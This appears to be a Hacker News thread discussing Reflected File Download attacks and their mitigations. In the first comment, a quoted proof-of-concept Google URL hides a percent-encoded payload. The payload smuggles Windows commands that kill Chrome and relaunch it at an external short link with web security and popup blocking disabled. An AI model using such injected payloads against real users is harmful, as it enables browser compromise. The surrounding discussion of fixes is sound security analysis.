5 ms·
I think the author is claiming that clicking on https://www.google.com/s;/ChromeSetup.bat;/ChromeSetup.bat?gs_ri=psy-ab&q=%22%7c%7c%74%61%73%6b%6b%69%6c%6c%20%2
by metzman 12y ago
I think the author is claiming that clicking on https://www.google.com/s;/ChromeSetup.bat;/ChromeSetup.bat?gs_ri=psy-ab&q=%22%7c%7c%74%61%73%6b%6b%69%6c%6c%20%2f%46%20%2f%49%4d%20%63%68%2a%7c%6d%64%7c%7c%73%74%61%72%74%20%63%68%72%6f%6d%65%20%70%69%2e%76%75%2f%42%32%6a%6b%20%2d%2d%64%69%73%61%62%6c%65%2d%77%65%62%2d%73%65%63%75%72%69%74%79%20%2d%2d%64%69%73%61%62%6c%65%2d%70%6f%70%75%70%2d%62%6c%6f%63%6b%69%6e%67%7c%7c https://www.google.com/s;/ChromeSetup.bat;/ChromeSetup.bat?g...
results in a file ChromeSetup.bat being downloaded, but in chrome and firefox the file downloaded is f.txt.
Has anyone tried this on other browsers?
EDIT:
Here is the portion of the paper explaining why this no longer works:
"However, a common implementation error could result in Reflected File Download from the worst kind. Content-Disposition headers SHOULD include a "filename" parameter, to avoid having the browser parse the filename from the URL.
This is the exact problem that multiple Google APIs suffered from until I reported it to the Google security team, leading to a massive fix in core Google components."
- traek 12y agoI can confirm that on Safari, the file downloaded is f.txt
- deleted 12y ago[deleted]
- ajanuary 12y agoI read somewhere recently that Google used to be affected but have since patched their servers.
- metzman 12y agoAhh...that makes sense
- deleted 12y ago[deleted]
- JackC 12y agoThe author mentions a mitigation of specifying a filename in the Content-Disposition header, which that particular url actually does: Content-Disposition: attachment; filename="f.txt" Perhaps Google has fixed the problem for that URL -- I would hope the author contacted them in advance.
- derobert 12y ago§2.3.2 mentions that the author reported the security problems to Google, and Google fixed their APIs.
- iolsantr 12y agoStories like these make me never want to make a http webservice again. HTTP(S) is just way too complicated for me to ever be confident I've done everything right. It's getting to the point where webservices are like crypto: only experts should touch them.
- jwarkentin 12y agoBeing aware of exploits and protecting against them comes with the territory. Luckily there are things like owasp.org to help developers keep up on web security. However, security is hard and it can't be done absent mindedly. There is no getting around that.
- iolsantr 12y agoI get that. I just dread the days when malpractice for programmers is as common as it is for doctors. I like building functionality, not fortresses.
- phkahler 12y agoIf the standards were more strict, some of these issues would not exist. I see this as exploiting a lot of slop in protocols. It should not be possible to interpret a URL as anything but a URL, yet here it's being reflected back and interpreted as something else entirely.
- Someone1234 12y agoI wonder if this can be mitigated by marking your JSON actions as HTTP POST only. Since this utilises HTTP GET the request would never be actioned and since JSON uses HTTP POST almost exclusively it wouldn't break existing code.
- Ded7xSEoPKYNsDd 12y agoIt's not so hard to build a form and submit it automatically with JavaScript in order to get a user's browser to do a POST request to any URL you want.
- Someone1234 12y agoThat form wouldn't be on the same domain and therefore would hit CSRF protections.
- Ded7xSEoPKYNsDd 12y agoYes, if you require a user-specific random token in the request, the exploit doesn't work. But that's independent of GET/POST and not what you said in your earlier post.
- emersonrsantos 12y agoOn Safari 7 at OSX file is downloaded as f.txt.json.